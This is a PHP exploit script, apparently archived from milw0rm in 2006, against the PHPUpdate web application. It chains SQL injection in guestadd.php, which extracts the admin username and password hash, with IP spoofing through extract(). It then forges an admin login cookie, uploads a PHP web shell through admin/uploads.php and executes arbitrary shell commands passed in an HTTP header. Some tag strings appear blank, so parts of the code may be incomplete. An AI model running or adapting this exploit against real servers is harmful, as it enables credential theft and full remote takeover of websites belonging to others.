= 4.1 (allowing subs) */ if ($argc<3) { print_r(' --------------------------------------------------------------------------- Usage: php '.$argv[0].' host path cmd OPTIONS host: target server (ip/hostname) path: path to PHPUpdate Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy -t[prefix]: specify a table prefix Example: php '.$argv[0].' localhost /phpupd/ ls -la -P1.1.1.1:80 php '.$argv[0].' localhost / ls -la -p81 php '.$argv[0].' localhost / ls -la -tphpupd_ --------------------------------------------------------------------------- '); die; } error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } $host=$argv[1]; $path=$argv[2]; $port=80; $proxy=""; $cmd=""; $prefix="phpusql_"; for ($i=3; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P") and ($temp<>"-t") ) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } if ($temp=="-t") { $prefix=str_replace("-t","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} function my_encode($my_string) { $encoded="CHAR("; for ($k=0; $k<=strlen($my_string)-1; $k++) { $encoded.=ord($my_string[$k]); if ($k==strlen($my_string)-1) {$encoded.=")";} else {$encoded.=",";} } return $encoded; } /* because of the bad use of extract() we can pass arguments calling directly the /code/guestadd.php script we have sql injections in multiple arguments, "newmessage", "newname","newwebsite","newemail" and we can use quotes because we have: [argument] = str_replace("\'","'",[argument]); on every ones oh, let me see our query... INSERT INTO phpusql_guestbook VALUES('1', '[injection here] so... */ $UTAG=my_encode(""); $PTAG=my_encode(""); $SQL ="1',(SELECT/**/CONCAT(".$UTAG.",username,".$UTAG.")/**/FROM/**/".$prefix."users/**/WHERE/**/ADMIN=1),"; $SQL.="(SELECT/**/CONCAT(".$PTAG.",password,".$PTAG.")/**/FROM/**/".$prefix."users/**/WHERE ADMIN=1),'1','1.1.1.1','1')"; $SQL.="/**/ON/**/DUPLICATE /**/KEY/**/UPDATE/**/autono=autono+1/*"; //funny, isn't it? :) we hide password hashes inside guestbook html //also, I note this, we have a spoofing issue, beacuse of extract() //let's overwrite the ip address... $data='-----------------------------7d61bcd1f033e Content-Disposition: form-data; name="_SERVER[REMOTE_ADDR]"; 1.1.1.1 -----------------------------7d61bcd1f033e Content-Disposition: form-data; name="newmessage"; 1 -----------------------------7d61bcd1f033e Content-Disposition: form-data; name="newname"; '.$SQL.' -----------------------------7d61bcd1f033e Content-Disposition: form-data; name="newwebsite"; 1 -----------------------------7d61bcd1f033e Content-Disposition: form-data; name="newemail"; 1 -----------------------------7d61bcd1f033e-- '; $packet ="POST ".$p."code/guestadd.php HTTP/1.0\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: close\r\n\r\n"; $packet.=$data; sendpacketii($packet); sleep(1); //so let's see the admin pair... $packet ="GET ".$p."index.php?s=guestbook HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); $temp=explode("",$html); $user=$temp[1]; $temp=explode("",$html); $pwd=$temp[1]; function is_my_hash($hash) { if (ereg("([a-f0-9]{16})|([A-F0-9]{41})",trim($hash))) {return true;} else {return false;} } if (is_my_hash($pwd)) { print_r(' admin -> '.$user.' MySql PASSWORD() hash -> '.$pwd.' admin cookie -> logincookie[user]='.$user.'; logincookie[pwd]='.$pwd.'; '); } else { //die("exploit failed..."); //let's continue, maybe already executed... } sleep(1); function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } srand(make_seed()); $v = rand(111111,999999); //with admin privileges, we upload a php file... $data='-----------------------------7d61bcd1f033e Content-Disposition: form-data; name="userfile"; filename="suntzu_'.$v.'.php"; Content-type: text/plain; -----------------------------7d61bcd1f033e Content-Disposition: form-data; name="filecat"; files -----------------------------7d61bcd1f033e Content-Disposition: form-data; name="submit"; Upload -----------------------------7d61bcd1f033e-- '; $packet ="POST ".$p."admin/uploads.php HTTP/1.0\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Cookie: logincookie[user]=".$user."; logincookie[pwd]=".$pwd.";\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); sleep(1); //now launch commands... $packet ="GET ".$p."files/suntzu_".$v.".php HTTP/1.0\r\n"; $packet.="SUNTZU: ".$cmd."\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (eregi("my_delim",$html)) { $temp=explode("my_delim",$html); echo $temp[1]; } else { echo "exploit failed..."; } ?> # milw0rm.com [2006-12-26]